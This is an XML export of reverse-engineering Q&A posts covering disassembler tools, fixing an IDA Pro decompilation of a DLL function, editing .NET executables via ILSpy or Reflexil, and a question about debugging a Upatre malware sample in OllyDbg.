  <row Id="9176" PostTypeId="2" ParentId="1817" CreationDate="2015-06-19T12:55:56.653" Score="16" Body="&lt;p&gt;&lt;a href=&quot;https://www.relyze.com/overview.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Relyze&lt;/strong&gt;&lt;/a&gt; is a commercial interactive disassembler for x86, x64 and ARM software with loaders for PE or ELF file formats. It supports interactive flat and graph views of the disassembly, generating call and reference graphs, binary diffing two executables, exploring the  executable file's structure and a Ruby plugin API. It can also handle things like symbols (PDB's), function local variables, switch statements, exception handlers, static library identification and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kniPL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kniPL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/wisk/medusa&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Medusa&lt;/strong&gt;&lt;/a&gt; is an open source disassembler with x86, x64, z80 and partial ARM support. It runs on Windows and Linux. It has interactive flat and graph views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7aLEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="123" LastEditDate="2017-08-07T15:20:14.223" LastActivityDate="2017-08-07T15:20:14.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9177" PostTypeId="1" AcceptedAnswerId="9180" CreationDate="2015-06-19T19:29:12.867" Score="2" ViewCount="1617" Body="&lt;p&gt;I have decompiled a DLL and IDA Pro came up with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed int __thiscall sub_10029900(void *a1, int a2) &#xA;{    &#xA;int v2; // esi@1&#xA;int v3; // ebx@1&#xA;int v4; // eax@1&#xA;int v5; // edx@3&#xA;int v6; // eax@5&#xA;signed int v7; // esi@5&#xA;bool v8; // cf@7&#xA;signed int v9; // eax@8&#xA;int v11; // [sp+10h] [bp-20h]@1&#xA;&#xA;v2 = 0;&#xA;v3 = EnumFirstValidChild(a1, &amp;amp;v11);&#xA;&#xA;..........&#xA;&#xA;return v2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;EnumFirstValidChild&lt;/code&gt; is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __userpurge EnumFirstValidChild&amp;amp;lt;eax&amp;gt;(int a1&amp;amp;lt;eax&amp;gt;, int a2, int a3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I modified the code above to call the userpurge function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int *v12 = &amp;amp;v11;&#xA;&#xA;__asm &#xA;{ &#xA;  push v12&#xA;  push a1&#xA;  call sub_10029800&#xA;  mov v3, eax&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that the call to this function is causing a stack a Run-Time Check Failure #2 - Stack around &lt;code&gt;v11&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v11&lt;/code&gt; is 4 bytes long and I see that more than 16 bytes are wtitten to that pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could it be wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembled code listing of &lt;code&gt;sub_10029900&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:10029900 ; =============== S U B R O U T I N E ===========&#xA;.text:10029900&#xA;.text:10029900 ; Attributes: bp-based frame&#xA;.text:10029900&#xA;.text:10029900 sub_10029900    proc near               ; CODE XREF: sub_1000F400+F1p&#xA;.text:10029900                                         ; sub_10010870+135p ...&#xA;.text:10029900&#xA;.text:10029900 var_20          = dword ptr -20h&#xA;.text:10029900 arg_0           = dword ptr  8&#xA;.text:10029900&#xA;.text:10029900                 mov     edi, edi&#xA;.text:10029902                 push    ebp&#xA;.text:10029903                 mov     ebp, esp&#xA;.text:10029905                 and     esp, 0FFFFFFF8h&#xA;.text:10029908                 sub     esp, 24h&#xA;.text:1002990B                 lea     eax, [esp+24h+var_20]&#xA;.text:1002990F                 push    ebx&#xA;.text:10029910                 push    esi&#xA;.text:10029911                 push    edi&#xA;.text:10029912                 push    eax&#xA;.text:10029913                 push    ecx&#xA;.text:10029914                 xor     esi, esi&#xA;.text:10029916                 call    ds:EnumFirstValidChild&#xA;.text:1002991C                 mov     ebx, eax&#xA;.text:1002991E                 lea     eax, [esi+1]&#xA;.text:10029921                 test    ebx, ebx&#xA;.text:10029923                 jz      short loc_10029985&#xA;.text:10029925                 mov     edi, [ebp+arg_0]&#xA;.text:10029928&#xA;.text:10029928 loc_10029928:                           ; CODE XREF: sub_10029900+6Aj&#xA;.text:10029928                 test    eax, eax&#xA;.text:1002992A                 jz      short loc_10029983&#xA;.text:1002992C                 mov     edx, [esp+30h+var_20]&#xA;.text:10029930                 test    edx, edx&#xA;.text:10029932                 jz      short loc_1002995E&#xA;.text:10029934                 test    edi, edi&#xA;.text:10029936                 jz      short loc_1002995E&#xA;.text:10029938                 mov     eax, edi&#xA;.text:1002993A                 mov     esi, 0Ch&#xA;.text:1002993F                 nop&#xA;.text:10029940&#xA;.text:10029940 loc_10029940:                           ; CODE XREF: sub_10029900+4Fj&#xA;.text:10029940                 mov     ecx, [edx]&#xA;.text:10029942                 cmp     ecx, [eax]&#xA;.text:10029944                 jnz     short loc_10029958&#xA;.text:10029946                 add     edx, 4&#xA;.text:10029949                 add     eax, 4&#xA;.text:1002994C                 sub     esi, 4&#xA;.text:1002994F                 jnb     short loc_10029940&#xA;.text:10029951                 mov     eax, 1&#xA;.text:10029956                 jmp     short loc_1002995A&#xA;.text:10029958 ; ---------------------------------------------------------------------------&#xA;.text:10029958&#xA;.text:10029958 loc_10029958:                           ; CODE XREF: sub_10029900+44j&#xA;.text:10029958                 xor     eax, eax&#xA;.text:1002995A&#xA;.text:1002995A loc_1002995A:                           ; CODE XREF: sub_10029900+56j&#xA;.text:1002995A                 test    eax, eax&#xA;.text:1002995C                 jnz     short loc_1002996C&#xA;.text:1002995E&#xA;.text:1002995E loc_1002995E:                           ; CODE XREF: sub_10029900+32j&#xA;.text:1002995E                                         ; sub_10029900+36j&#xA;.text:1002995E                 lea     eax, [esp+30h+var_20]&#xA;.text:10029962                 push    eax&#xA;.text:10029963                 push    ebx&#xA;.text:10029964                 call    ds:EnumNextValidChild&#xA;.text:1002996A                 jmp     short loc_10029928&#xA;.text:1002996C ; ---------------------------------------------------------------------------&#xA;.text:1002996C&#xA;.text:1002996C loc_1002996C:                           ; CODE XREF: sub_10029900+5Cj&#xA;.text:1002996C                 push    ebx&#xA;.text:1002996D                 mov     esi, 1&#xA;.text:10029972                 call    ds:EndEnumValidChild&#xA;.text:10029978                 mov     eax, esi&#xA;.text:1002997A                 pop     edi&#xA;.text:1002997B                 pop     esi&#xA;.text:1002997C                 pop     ebx&#xA;.text:1002997D                 mov     esp, ebp&#xA;.text:1002997F                 pop     ebp&#xA;.text:10029980                 retn    4&#xA;.text:10029983 ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembled code listing of &lt;code&gt;EnumFirstValidChild&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:1000B710 ; Exported entry   4. EnumFirstValidChild&#xA;.text:1000B710&#xA;.text:1000B710 ; =============== S U B R O U T I N E ==============&#xA;.text:1000B710&#xA;.text:1000B710 ; Attributes: bp-based frame&#xA;.text:1000B710&#xA;.text:1000B710                 public EnumFirstValidChild&#xA;.text:1000B710 EnumFirstValidChild proc near ; DATA XREF: .text:off_10027368o&#xA;.text:1000B710&#xA;.text:1000B710 var_28          = dword ptr -28h&#xA;.text:1000B710 var_24          = dword ptr -24h&#xA;.text:1000B710 var_20          = dword ptr -20h&#xA;.text:1000B710 var_1C          = dword ptr -1Ch&#xA;.text:1000B710 var_18          = byte ptr -18h&#xA;.text:1000B710 var_C           = dword ptr -0Ch&#xA;.text:1000B710 var_4           = dword ptr -4&#xA;.text:1000B710 arg_0           = dword ptr  8&#xA;.text:1000B710 arg_4           = dword ptr  0Ch&#xA;.text:1000B710&#xA;.text:1000B710                 mov     edi, edi&#xA;.text:1000B712                 push    ebp&#xA;.text:1000B713                 mov     ebp, esp&#xA;.text:1000B715                 and     esp, 0FFFFFFF8h&#xA;.text:1000B718                 mov     eax, large fs:0&#xA;.text:1000B71E                 push    0FFFFFFFFh&#xA;.text:1000B720                 push    offset SEH_1001DAD0&#xA;.text:1000B725                 push    eax&#xA;.text:1000B726                 mov     large fs:0, esp&#xA;.text:1000B72D                 sub     esp, 20h&#xA;.text:1000B730                 mov     ecx, dword_1002ACE8&#xA;.text:1000B736                 push    ebx&#xA;.text:1000B737                 push    esi&#xA;.text:1000B738                 push    edi&#xA;.text:1000B739                 xor     edi, edi&#xA;.text:1000B73B                 test    ecx, ecx&#xA;.text:1000B73D                 jnz     short loc_1000B77D&#xA;.text:1000B73F                 push    dword_1002ACE4&#xA;.text:1000B745                 lea     eax, [esp+3Ch+var_28]&#xA;.text:1000B749                 push    eax&#xA;.text:1000B74A                 push    7Ch&#xA;.text:1000B74C                 push    1&#xA;.text:1000B74E                 call    ds:api_func_107&#xA;.text:1000B754                 mov     ecx, [esp+38h+var_28]&#xA;.text:1000B758                 mov     [esp+38h+var_24], ecx&#xA;.text:1000B75C                 mov     [esp+38h+var_4], edi&#xA;.text:1000B760                 test    ecx, ecx&#xA;.text:1000B762                 jz      short loc_1000B76D&#xA;.text:1000B764                 call    sub_10005440&#xA;.text:1000B769                 mov     ecx, eax&#xA;.text:1000B76B                 jmp     short loc_1000B76F&#xA;.text:1000B76D ; ---------------------------------------------------------------------------&#xA;.text:1000B76D&#xA;.text:1000B76D loc_1000B76D:                           ; CODE XREF: EnumFirstValidChild+52j&#xA;.text:1000B76D                 xor     ecx, ecx&#xA;.text:1000B76F&#xA;.text:1000B76F loc_1000B76F:                           ; CODE XREF: EnumFirstValidChild+5Bj&#xA;.text:1000B76F                 mov     [esp+38h+var_4], 0FFFFFFFFh&#xA;.text:1000B777                 mov     dword_1002ACE8, ecx&#xA;.text:1000B77D&#xA;.text:1000B77D loc_1000B77D:                           ; CODE XREF: EnumFirstValidChild+2Dj&#xA;.text:1000B77D                 mov     eax, [ebp+arg_0]&#xA;.text:1000B780                 lea     esi, [ecx+34h]&#xA;.text:1000B783                 mov     [esp+38h+var_24], eax&#xA;.text:1000B787                 mov     ecx, esi&#xA;.text:1000B789                 lea     eax, [esp+38h+var_24]&#xA;.text:1000B78D                 push    eax&#xA;.text:1000B78E                 lea     eax, [esp+3Ch+var_18]&#xA;.text:1000B792                 push    eax&#xA;.text:1000B793                 call    sub_10008330&#xA;.text:1000B798                 mov     ecx, [eax]&#xA;.text:1000B79A                 mov     ebx, [eax+4]&#xA;.text:1000B79D                 mov     eax, [esi+4]&#xA;.text:1000B7A0                 mov     [esp+38h+var_20], ecx&#xA;.text:1000B7A4                 mov     [esp+38h+var_1C], ebx&#xA;.text:1000B7A8                 mov     [esp+38h+var_24], eax&#xA;.text:1000B7AC                 test    ecx, ecx&#xA;.text:1000B7AE                 jz      short loc_1000B7B4&#xA;.text:1000B7B0                 cmp     ecx, esi&#xA;.text:1000B7B2                 jz      short loc_1000B7BE&#xA;.text:1000B7B4&#xA;.text:1000B7B4 loc_1000B7B4:                           ; CODE XREF: EnumFirstValidChild+9Ej&#xA;.text:1000B7B4                 call    ds:_invalid_parameter_noinfo&#xA;.text:1000B7BA                 mov     eax, [esp+38h+var_24]&#xA;.text:1000B7BE&#xA;.text:1000B7BE loc_1000B7BE:                           ; CODE XREF: EnumFirstValidChild+A2j&#xA;.text:1000B7BE                 mov     esi, [ebp+arg_4]&#xA;.text:1000B7C1                 cmp     ebx, eax&#xA;.text:1000B7C3                 jz      short loc_1000B80B&#xA;.text:1000B7C5                 lea     ecx, [esp+38h+var_20]&#xA;.text:1000B7C9                 call    sub_10008390&#xA;.text:1000B7CE                 mov     ebx, [eax+4]&#xA;.text:1000B7D1                 test    ebx, ebx&#xA;.text:1000B7D3                 jz      short loc_1000B80B&#xA;.text:1000B7D5                 push    esi&#xA;.text:1000B7D6                 push    0&#xA;.text:1000B7D8                 mov     ecx, ebx&#xA;.text:1000B7DA                 call    sub_1001D620&#xA;.text:1000B7DF                 test    eax, eax&#xA;.text:1000B7E1                 jz      short loc_1000B80B&#xA;.text:1000B7E3                 push    dword_1002ACE4&#xA;.text:1000B7E9                 lea     eax, [esp+3Ch+var_24]&#xA;.text:1000B7ED                 push    eax&#xA;.text:1000B7EE                 push    8&#xA;.text:1000B7F0                 push    1&#xA;.text:1000B7F2                 call    ds:api_func_107&#xA;.text:1000B7F8                 mov     edi, [esp+38h+var_24]&#xA;.text:1000B7FC                 test    edi, edi&#xA;.text:1000B7FE                 jz      short loc_1000B80B&#xA;.text:1000B800                 mov     [edi], ebx&#xA;.text:1000B802                 mov     dword ptr [edi+4], 0&#xA;.text:1000B809                 jmp     short loc_1000B824&#xA;.text:1000B80B ; ---------------------------------------------------------------------------&#xA;.text:1000B80B&#xA;.text:1000B80B loc_1000B80B:                           ; CODE XREF: EnumFirstValidChild+B3j&#xA;.text:1000B80B                                         ; EnumFirstValidChild+C3j ...&#xA;.text:1000B80B                 xor     eax, eax&#xA;.text:1000B80D                 mov     [esi], eax&#xA;.text:1000B80F                 mov     [esi+4], eax&#xA;.text:1000B812                 mov     [esi+8], eax&#xA;.text:1000B815                 mov     [esi+0Ch], eax&#xA;.text:1000B818                 mov     [esi+10h], eax&#xA;.text:1000B81B                 mov     [esi+14h], eax&#xA;.text:1000B81E                 mov     [esi+18h], eax&#xA;.text:1000B821                 mov     [esi+1Ch], eax&#xA;.text:1000B824&#xA;.text:1000B824 loc_1000B824:                           ; CODE XREF: EnumFirstValidChild+F9j&#xA;.text:1000B824                 mov     ecx, [esp+38h+var_C]&#xA;.text:1000B828                 mov     eax, edi&#xA;.text:1000B82A                 pop     edi&#xA;.text:1000B82B                 pop     esi&#xA;.text:1000B82C                 mov     large fs:0, ecx&#xA;.text:1000B833                 pop     ebx&#xA;.text:1000B834                 mov     esp, ebp&#xA;.text:1000B836                 pop     ebp&#xA;.text:1000B837                 retn    8&#xA;.text:1000B837 EnumFirstValidChild endp&#xA;.text:1000B837&#xA;.text:1000B837 ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompiled code of &lt;code&gt;sub_10029900&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed int __thiscall sub_10029900(void *this, int a2) //note that I changed *this to *a1&#xA;{&#xA;  int v2; // esi@1&#xA;  int v3; // ebx@1&#xA;  int v4; // eax@1&#xA;  int v5; // edx@3&#xA;  int v6; // eax@5&#xA;  signed int v7; // esi@5&#xA;  bool v8; // cf@7&#xA;  signed int v9; // eax@8&#xA;  int v11; // [sp+10h] [bp-20h]@1&#xA;&#xA;  v2 = 0;&#xA;  v3 = EnumFirstValidChild(this, &amp;amp;v11);&#xA;  v4 = 1;&#xA;  if ( v3 )&#xA;  {&#xA;    while ( v4 )&#xA;    {&#xA;     v5 = v11;&#xA;      if ( v11 &amp;amp;&amp;amp; a2 )&#xA;      {&#xA;        v6 = a2;&#xA;        v7 = 12;&#xA;        while ( *(_DWORD *)v5 == *(_DWORD *)v6 )&#xA;        {&#xA;          v5 += 4;&#xA;          v6 += 4;&#xA;          v8 = (unsigned int)v7 &amp;lt; 4;&#xA;          v7 -= 4;&#xA;          if ( v8 )&#xA;          {&#xA;            v9 = 1;&#xA;            goto LABEL_10;&#xA;          }&#xA;        }&#xA;        v9 = 0;&#xA;LABEL_10:&#xA;        if ( v9 )&#xA;        {&#xA;          EndEnumValidChild(v3);&#xA;          return 1;&#xA;       }&#xA;      }&#xA;      v4 = EnumNextValidChild(v3, &amp;amp;v11);&#xA;    }&#xA;    v2 = 0;&#xA;  }&#xA;  EndEnumValidChild(v3);&#xA;  return v2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompiled code of &lt;code&gt;EnumFirstValidChild&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __userpurge EnumFirstValidChild&amp;lt;eax&amp;gt;(int a1&amp;lt;eax&amp;gt;, int a2, int a3)&#xA;{&#xA;  int v3; // ecx@1&#xA;  int v4; // edi@1&#xA;  int v5; // esi@6&#xA;  int v6; // eax@6&#xA;  int v7; // ecx@6&#xA;  int v8; // ebx@6&#xA;  int v9; // eax@6&#xA;  int v10; // ebx@10&#xA;  int v12; // [sp+1Ch] [bp-28h]@2&#xA;  int v13; // [sp+20h] [bp-24h]@2&#xA;  int v14; // [sp+24h] [bp-20h]@6&#xA;  int v15; // [sp+28h] [bp-1Ch]@6&#xA;  char v16; // [sp+2Ch] [bp-18h]@6&#xA;  int v17; // [sp+38h] [bp-Ch]@1&#xA;  int (__cdecl *v18)(); // [sp+3Ch] [bp-8h]@1&#xA;  int v19; // [sp+40h] [bp-4h]@1&#xA;&#xA;  v19 = -1;&#xA;  v18 = SEH_1001DAD0;&#xA;  v17 = a1;&#xA;  v3 = dword_1002ACE8;&#xA;  v4 = 0;&#xA;  if ( !dword_1002ACE8 )&#xA;  {&#xA;    api_func_107(1, 124, &amp;amp;v12, dword_1002ACE4);&#xA;    v13 = v12;&#xA;    v19 = 0;&#xA;    if ( v12 )&#xA;      v3 = sub_10005440(v12);&#xA;    else&#xA;      v3 = 0;&#xA;    v19 = -1;&#xA;    dword_1002ACE8 = v3;&#xA;  }&#xA;  v5 = v3 + 52;&#xA;  v13 = a2;&#xA;  v6 = sub_10008330(v3 + 52, (int)&amp;amp;v16, (int)&amp;amp;v13);&#xA;  v7 = *(_DWORD *)v6;&#xA;  v8 = *(_DWORD *)(v6 + 4);&#xA;  v9 = *(_DWORD *)(v5 + 4);&#xA;  v14 = v7;&#xA;  v15 = v8;&#xA;  v13 = v9;&#xA;  if ( !v7 || v7 != v5 )&#xA;  {&#xA;    invalid_parameter_noinfo(v7);&#xA;    v9 = v13;&#xA;  }&#xA;  if ( v8 != v9&#xA;    &amp;amp;&amp;amp; (v10 = *(_DWORD *)(sub_10008390(&amp;amp;v14) + 4)) != 0&#xA;    &amp;amp;&amp;amp; sub_1001D620(v10, 0, a3)&#xA;    &amp;amp;&amp;amp; (api_func_107(1, 8, &amp;amp;v13, dword_1002ACE4), (v4 = v13) != 0) )&#xA;  {&#xA;    *(_DWORD *)v13 = v10;&#xA;    *(_DWORD *)(v4 + 4) = 0;&#xA;  }&#xA;  else&#xA;  {&#xA;    *(_DWORD *)a3 = 0;&#xA;    *(_DWORD *)(a3 + 4) = 0;&#xA;    *(_DWORD *)(a3 + 8) = 0;&#xA;    *(_DWORD *)(a3 + 12) = 0;&#xA;    *(_DWORD *)(a3 + 16) = 0;&#xA;    *(_DWORD *)(a3 + 20) = 0;&#xA;    *(_DWORD *)(a3 + 24) = 0;&#xA;    *(_DWORD *)(a3 + 28) = 0;&#xA;  }&#xA;  return v4;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="1413" LastEditDate="2015-06-20T05:06:27.660" LastActivityDate="2023-04-24T18:08:55.430" Title="Problem with IDA Pro Code" Tags="|ida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9178" PostTypeId="1" CreationDate="2015-06-19T20:30:44.207" Score="8" ViewCount="53879" Body="&lt;p&gt;I want to modify an exe a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ILSpy I see all the code that I need but I don't know how to modify the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &quot;save code&quot; on ILSpy that exports a .cs file, but when I open the .cs file in Visual Studio and change the code I can't compile or run the modified code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;I read that I can change the code in assembly but I don't know assembly so I have to do that at high level, if there is a way.&lt;/p&gt;&#xA;" OwnerUserId="12825" LastActivityDate="2020-10-25T17:33:31.390" Title="Modify code with ILSpy" Tags="|disassembly|.net|c#|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9179" PostTypeId="2" ParentId="9125" CreationDate="2015-06-20T00:09:08.040" Score="0" Body="&lt;p&gt;When compiling I did not disable the stack smashing protection. Compiling with -z execstack fixed this. &lt;/p&gt;&#xA;" OwnerUserId="12770" LastActivityDate="2015-06-20T00:09:08.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="2" ParentId="9177" CreationDate="2015-06-20T00:28:21.163" Score="3" Body="&lt;p&gt;Let's start from the beginning:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __userpurge EnumFirstValidChild&amp;lt;eax&amp;gt;(int a1&amp;lt;eax&amp;gt;, int a2, int a3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Your &lt;code&gt;EnumFirstValidChild&lt;/code&gt; prototype takes &lt;code&gt;eax&lt;/code&gt; as the first argument, but if you look at &lt;code&gt;eax&lt;/code&gt; in this function, it gets immediately erased by &lt;code&gt;Teb-&amp;gt;NtTib-&amp;gt;ExceptionList&lt;/code&gt; (aka &lt;code&gt;fs:[0]&lt;/code&gt;) at &lt;code&gt;.text:1000B718&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thus, the first argument isn't valid. Let's fix that as a first step:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl EnumFirstValidChild (int a1, int a2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think you have already found that out, but better make sure everything is clear.&lt;/p&gt;&#xA;&lt;p&gt;Now, more precisely about your question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;v11 is 4 bytes long and I see that more than 16 bytes are written to that pointer.&#xA;What could it be wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As you may know, Hex-Rays doesn't produce compilable C code, but pseudo C-like code.&#xA;You have to give hints to the decompiler if you want it to decompile a correct C code.&lt;/p&gt;&#xA;&lt;p&gt;About your issue, you were right. v11 is not 4 bytes long, but actually at least 32 bytes long: at the end of the function &lt;code&gt;EnumFirstValidChild&lt;/code&gt;, it writes 32 bytes at the address of the second argument:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;*(_DWORD *)a3 = 0;&#xA;*(_DWORD *)(a3 + 4) = 0;&#xA;*(_DWORD *)(a3 + 8) = 0;&#xA;*(_DWORD *)(a3 + 12) = 0;&#xA;*(_DWORD *)(a3 + 16) = 0;&#xA;*(_DWORD )(a3 + 20) = 0;&#xA;*(_DWORD *)(a3 + 24) = 0;&#xA;*(_DWORD *)(a3 + 28) = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Furthermore, the decompiler gives you a quick way to notice this:&#xA;In &lt;code&gt;sub_10029900&lt;/code&gt;, there's nothing on the stack except:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int v11; // [bp-20h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see, there's some space between bp and bp-20h. There is just enough space for your 32 bytes array, so we can conclude that your structure size is indeed 32 bytes long.&lt;/p&gt;&#xA;&lt;p&gt;If you wish, you can fix the output of Hex-Rays following this procedure:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MSBid.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSBid.gif&quot; alt=&quot;Enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="1654" LastEditDate="2023-04-24T18:08:55.430" LastActivityDate="2023-04-24T18:08:55.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9181" PostTypeId="2" ParentId="9178" CreationDate="2015-06-20T00:54:23.907" Score="2" Body="&lt;p&gt;Currently, there's no way to modify the binary directly with ILSpy. The only solution is the one you described, export the source and recompile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the feature you are looking for is included with &lt;a href=&quot;http://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow&quot;&gt;.NET Reflector&lt;/a&gt; in the &lt;a href=&quot;http://reflexil.net/&quot; rel=&quot;nofollow&quot;&gt;Reflexil&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="11799" LastActivityDate="2015-06-20T00:54:23.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9182" PostTypeId="1" AcceptedAnswerId="9183" CreationDate="2015-06-20T01:01:19.483" Score="1" ViewCount="768" Body="&lt;p&gt;So I've been looking at this thread - &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;Where can I, as an individual, get malware samples to analyze?&lt;/a&gt;&#xA;And grabbed myself a binary sample of Win32.Upatre from &lt;a href=&quot;http://addxorrol.blogspot.com/2013/01/encouraging-female-reverse-engineers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Halvar Flake's blog&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I started analyzing the file in my VM (Win XP SP 3) and loaded up the malware in Olly.&#xA;What I noticed is that the code looks encrypted - I searched for all the calls in the code and got this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzmpQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which doesn't seem quite normal.&lt;/p&gt;&#xA;&lt;p&gt;So I went ahead and started stepping from the EP hopefully landing on some decryption procedure -&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KOhwN.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'll briefly explain what I concluded from debugging this code:&lt;/p&gt;&#xA;&lt;h2&gt;1 - Gets the arguments passed to this executable - I'm pretty sure any code before this is irrelevant, but I might be wrong.&lt;/h2&gt;&#xA;&lt;h2&gt;2 - Calls GetStartupInfo - not quite sure why&lt;/h2&gt;&#xA;&lt;h2&gt;3 - Call 00401C80 passing the EP as a parameter&lt;/h2&gt;&#xA;&lt;p&gt;So I went ahead jumping to &lt;code&gt;00401C80&lt;/code&gt; to check what this is all about and found this code which kinda looks like junk code to me -&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oe3So.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I suspect because there are some instructions that just don't seem logic to me like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, 64&#xA;CMP EAX,3E8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I might be wrong.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that after at the end of the function a value is copied into &lt;code&gt;ECX&lt;/code&gt; and then &lt;code&gt;CALL ECX&lt;/code&gt; is called which eventually ends in memory access violation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/03UlY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;No matter what I do or how I play with the flags inside this function I get an access violation or the code exits.&lt;/p&gt;&#xA;&lt;p&gt;SOOOOOOOOO, my first thought was that I'm dealing with some kinda anti-debugging technique, so I tried to run the malware inside the VM and intercept some data from it -&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9tOz.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And it seems like it's running alright and even created a UDP socket, no access violation or something like that.&lt;/p&gt;&#xA;&lt;p&gt;I tried looking online for reports about this virus but I couldn't found any resources about how to bypass this obstacle.&lt;/p&gt;&#xA;&lt;p&gt;Anyone got an idea how I should approach this? why is Olly failing? How does this code knows that it's being debugged? It doesn't seem like it uses some kind of API for that (like IsDebuggerPresent).&lt;/p&gt;&#xA;&lt;p&gt;Thanks for everyone in advance.&lt;/p&gt;&#xA;" OwnerUserId="10356" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-06-20T10:30:20.670" Title="Debugging Win32.Upatre - why does Ollydbg fail to analyze this?" Tags="|ollydbg|malware|obfuscation|anti-debugging|deobfuscation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
